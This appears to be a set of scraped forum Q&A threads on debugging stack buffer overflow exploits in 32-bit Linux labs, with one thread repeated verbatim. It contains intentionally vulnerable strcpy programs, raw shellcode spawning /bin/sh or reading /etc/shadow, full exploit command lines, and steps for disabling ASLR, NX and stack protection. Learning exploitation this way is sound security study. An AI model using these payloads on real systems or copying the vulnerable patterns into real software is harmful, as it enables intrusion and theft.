So after taking a Software Security class I became very interested in tinkering with how shellcode works with buffer overflows. Most threads I read about the topic involve having the shellcode as a char array and the user not adding the -fno-stack-protector / -z execstack flags for gcc. I've tried turning off ASLR (though I'm unsure if it's relevant?), there is no stack canary or anything involved. I'm using a cyclic offset generator to find the stack offset and using gdb to find the start of the buffer (so I know I have the correct return address). Everything is in gdb so I'm aware there will be an address difference when running outside of gdb, I originally had a NOP sled but removed it to reduce complexity.
So I've reached my wits end... I feel like it might be something at the assembly layer that I'm not understanding/haven't learned. Might be something silly....
First I have a test-case program that just takes the shellcode as a commandline argument which successfully pops the shell:
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root#kali:~/tmp# ./test2 $(python -c 'print
"\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"')
root#kali:/root/tmp# <-- New shell popped
Next I wanted to try to actually overflow a buffer to overwrite the stored EIP address and run the shellcode, this case continually results in a segfault...
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
the offset to eip is 72 bytes, my shellcode is 72 bytes long + adding the eip overwrite.
Shellcode looks like:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
Running this results in a segmentation fault...
If I step through gdb they both reach the shellcode, I've followed every step and it all their commands are the same up until it has to make a call instruction.
In the images below the strcpy instance is on the left, the test-case is on the right:
I'm not sure if it has to do with the ret instruction from the previous stackframe where the overflow occured? I can provide any additional information if needed. Any information about what I should research further would be appreciated!
Related
I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.
If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.
First of all, I have deactivated ASLR on my OS by doing this :
echo 0 > /proc/sys/kernel/randomize_va_space
Here is my vulnerable C code :
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
I compiled it in 32 bit using gcc on a 64 bit machine with the following line :
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.
Here is my shellcode (NOP|shellcode-payload|return-address) :
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
By putting a break func in gdb, I can print the following bytes showing a bit of the stack.
If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?
For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?
It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.
You should use quotes to force the entire output to be a single argument: "$(python2 ... )"
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow
I've tried to run a lot of shell-codes via C program to test them. Here it is
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And here's example of shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat \etc\shadow)
After running
gcc sctest.c -o out
./out
It's just gives me shellcode length and Segmentation Fault
I've already tried a lot of different shellcodes but everything just gives me segfault
My dmesg | tail -1
[18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
What's wrong with my shellcodes?
After disabling NX-bit and other things like randomize_va_space I've finally done it.
Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.
After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space.
Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.
On that step you should find offset for your stack overflow. You can try to find lines like
sub hex-offset, %esp
Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset
After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=your offset
Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)
And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.
Finally you're ready to exploit
./your_binary < exploit.bin
I wrote a simple ASM file and ran it in a C file I'd written. I got a segentation fault. However, when I execute the compiled ASM file, I get no error.
I am running 64 bit and using 32 bit shellcode. Is that the issue?
It can't be, because I'm getting a segmentation fault with this:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Can someone please run this and tell me whether or not they get a segmentation fault. I have used 3 or 4 other C files as well. None have worked.
Update:
((void(*)(void))code)();
Seems to be working in place of those three lines.
As mentioned above the shellcode is in non-executable memory. Try recompiling the program with the -fno-stack-protector and the -z execstack flags enabled.
That is:
gcc -fno-stack-protector -z execstack -O OutputFileName yourShellCode.c
Two issues:
The shell code might be in non-executable memory. In order to make it executable, you need to either ask the OS to make it executable (e.g. with mprotect(2) or VirtualProtect()), or allocate new executable memory and copy it there (e.g. with mmap(2) or VirtualAlloc().
Your shell code doesn't return/exit. After the CPU executes your NOP there (0x90), it's going to keep on executing code in the memory that comes after that NOP instruction. Most likely, this will crash quickly, but it might do other random, unpredictable things.
To fix #2, you need to explicitly either execute a return instruction (C3 on x86/x86-64) to return from your shell code, or you need to do something which never returns, like call the exit(3) function.
Maybe you should change your variable :
char shellcode[]
To:
const char shellcode[]
Like in this question:
segmentation-fault-error-when-exe-c
This one worked for me! :)
Try put the shellcode in the main function to make it a local variable:
int main(int argc, char **argv)
{
const char shellcode[] = "<your shellcode>";
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Then compile it with flags -fno-stack-protector and -z execstack:
gcc <filename>.c -fno-stack-protector -z execstack -o <filename>
I found this idea on stackexchange and it worked for me.
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow